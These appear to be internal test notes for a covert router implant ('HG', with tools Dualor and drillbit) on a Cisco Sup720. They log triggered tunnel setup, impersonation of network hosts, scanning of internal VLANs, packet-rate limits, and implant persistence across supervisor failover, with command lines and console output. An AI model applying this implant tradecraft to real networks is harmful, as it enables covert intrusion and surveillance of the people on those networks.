           Trigger was successful!
           Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):21193
           Attempting SSLSecure Socket Layer Handshake...
           SSL Handshake Successful!
           Throttling tunnel connection with the parameters:
           Outbound Average Rate: 100 packets/sec
           Outbound Peak Burst Rate: 200 packets/sec
           Performing key exchange with the tunnel endpoint...
           Successfully performed key exchange with the tunnel endpoint!
           Connected with device UID: 001121b9fbb8
           Opened the TAPVirtual Network kernel device interface tap0
           Setting the tap0 interface status to down

           tap0 Interface Parameters:
           IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
           Subnet Mask: 255.255.255.248
           MACApple Operating System Address: 00-01-44-27-78-3a

           Setting the tap0 interface status to up
           Tunnel is now active
           Shutting down tunnel: Tunnel has timed out

           Closing Dualor
           Closed the TAPVirtual Network kernel device interface tap0
           root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux#

        3. Was able to ssh to client.  tunnel timed out as set.
    31. Collect wireshark of tunnel establishment and teardown
    32. Test abnormal tunnel termination
        1. Established tunnel
        2. On ICON, ifconfig tap0 down
        3. ifconfig no longer shows tap0 interface
        4. tunnel is still up according to dualor and drillbit
        5. Tunnel eventually timed out due to timeout setting in .ini file
        6. Repeated but this time closed the tunnel from CTCounter Terrorism session before it could time out.  Dualor and drillbit appear to close gracefully however wireshark of ICON box shows TCPTransport Control Protocol FIN/ACK retransmissions continue from XXX.XXX.X.XX (TOPWAY-NET[CN]) for about 10 packets, then finally a RST/ACK is sent.
        7. Testing something happening to flux during the tunnel.
        8. Established tunnel
        9. Shut eth0 on flux 2
        10. CT session now unresponsive.  Dualor stayed active for a bit then disconnected:

        11. Setting the tap0 interface status to up
            Tunnel is now active
            Failed to receive data from the tunnel!

            Closing Dualor
            Closed the TAPVirtual Network kernel device interface tap0

        12. When re-establishing CTCounter Terrorism interface, had to update trigger number to match.  Given the sensitivity to triggers being sent with incorrect seq number, may be best to recommend using tun init to establish tunnel so that the trigger sequence number does not get changed in an .ini file.  Sending tunnel trigger with wrong seq also causes the snmp encoding errors to increment on DUT.
    33. Test specifying trigger seq number on command line with triggered tunnel initation:
        

        root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux# ./Dualor ../config/dualor-endpoint.ini -t ../config/dualor-callback.ini -q 0x10

    34. Test behavior of tunnel when pps threshold reached

        1. Established Tunnel
        2. Raised the pps by generating traffic from the impersonated CTCounter Terrorism host as well as the impersonated tunnel host
        3. lowered threshold settings to 500/1000.
        4. Tunnel did drop when the threshold was reached. No CPU spike out of the teens.
           

           Tunnel is now active
           Failed to receive data from the tunnel!

           Closing Dualor
           Closed the TAPVirtual Network kernel device interface tap0
           root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux#

        5. [XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status
           [Success]
           Maximum Packets Per Second: 500
           Number of Packets Counted Per Sample: 1000
           Highest Observed Packets Per Second: 258
           Number of Overflows Since Settings Last Changed: 0
           Time of Last Overflow: --
           ************ Success ************
           [packet get_assist_threshold_status]

           [XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status
           [Success]
           Maximum Packets Per Second: 500
           Number of Packets Counted Per Sample: 1000
           Highest Observed Packets Per Second: 679
           Number of Overflows Since Settings Last Changed: 1
           Time of Last Overflow: 2016-02-01T20:20:46Z
           ************ Success ************
           [packet get_assist_threshold_status]

           [XXX.XXX.X.XX (TOPWAY-NET[CN])]>

        6. Test Tunnel using tap ip of vlan 3
           1. Reloaded device
           2. install HG
           3. Establish CT
           4. start dualor module
           5. create tunnel - tap ip on vlan 3 - XXX.XXX.X.XX (TOPWAY-NET[CN]) and impersonated XXX.XXX.XX.XXX (TOPWAY-NET[CN]).  Added flux route for XXX.XXX.XX.XX (TOPWAY-NET[CN])/29 and tunnel came up.
           6. Successfully nmap'd vlan 19 hosts.  no prints observed
        7. tested impersonated host becomes active on the network - tunnel drops as soon as impersonated host becomes active.  if impersonated host was already active on the network, they co-exist.
        8. tested when tap ip becomes active on network during a tunnel session, this does drop tunnel. but if tap ip was already active on network, that host cannot we browse.  Did not see any punch throughs of tunnel traffic to tap ip host.  however, that host is effectively broken.  This behavior was observed for windows host only, on linux i did not see the tunnel drop when changing ip to match impersonated host and then ifdown, ifup.
11. SUP failover testing
    
    1. With hg installed, forced a failover via CLI.  Rebooted on other SUP.  as expected, CEF assist that was laid down for impersonated host on customer 1 - XXX.XXX.X.XX (TOPWAY-NET[CN]) was still present:

    2. cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
       XXX.XXX.X.XX (TOPWAY-NET[CN])/32
       receive
       cytolysis-1#

    3. That client cannot browse internet.  cleared cef on sup720. doesn't fix it. clear ip route did fix it.
    4. SUccessfully re-installed HG on sup in slot 6.
    5. reloaded device to start with a clean device.  will attempt to install, failover, then reinstall without clearing route, impersonating same host
    6. installed hg, established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
    7. forced failover through cli - veriufied that host cannot get out, RAArd still in place.
    8. installed hg and that did fix the host, 1.82 can now get out.  RAA still in place. Established CTCounter Terrorism session successfully.
    9. Failed BACK over.  RAA still in place.  Reinstall HG.  Establish CTCounter Terrorism session.  SUCCESS.
    10. Disconnected CTCounter Terrorism session and now RAA is dropped:
        

        cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
        XXX.XXX.X.XX (TOPWAY-NET[CN])/32
        receive
        cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
        XXX.XXX.X.XX (TOPWAY-NET[CN])/32
        attached to Vlan3

    11. Reloaded to start with a clean device.  Testing HG install - failover, then fail right back and reinstall. SUCCESS.

    12. Reloaded device - testing sup failover when primary is physically pulled.
    13. Installed HG.  verified install by est CTCounter Terrorism session, then closed it.
    14. Pulled primary sup - failed over without any problems.  Re-installed sup in slot 5.  Failed back over to slot 5 as active.
    15. Reinstalled HG - SUCCESS
    16. Reloaded - Testing installing HG, pulling SUP and then installing on new
    17. Reloaded DUT
    18. Installed HG.
    19. Forced failover through CI
    20. reinstalled hg - established CTCounter Terrorism session.  SUCCESS
    21. Reloaded - sup in slot 5 does not boot, goes to rommon
        

        Autoboot executing command: "boot bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
        Loading image, please wait ...

        device does not contain a valid magic number
        loadprog: error - on file open
        boot: cannot load "bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
        Exit at the end of BOOT string
        rommon 1 > boot
        device does not contain a valid magic number
        boot: cannot open "bootdisk:"
        boot: cannot determine first file name on device "bootdisk:"
        rommon 2 > boot system bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin
        Loading image, please wait ...

        Invalid device specified
        Booting from default device
        device does not contain a valid magic number
        boot: cannot open "bootdisk:"
        an alternate boot helper program is not specified
        (monitor variable "BOOTLDR" is not set)
        and unable to determine first file in bootflash
        loadprog: error - on file open
        boot: cannot load "system bootflash:s72033-ipservices_wan-mz.122-33.SXI.bin"
        rommon 3 >

    22. sup in slot 6 does load.

    23. reseated sup in slot 5 and it booted successfully as standy by.  Tried reload again. - SUCCESS.  sup in slot 5 now active
    24. Reloading again to start with a clean device and attempt to repro the rommon condition
    25. Install HG, force failover through cli
    26. Reinstall HG on sup in slot6 - done.  
    27. Reload to fail back to slot 5- successful.  Could not reproduce the error above.  Might not have been due to HG.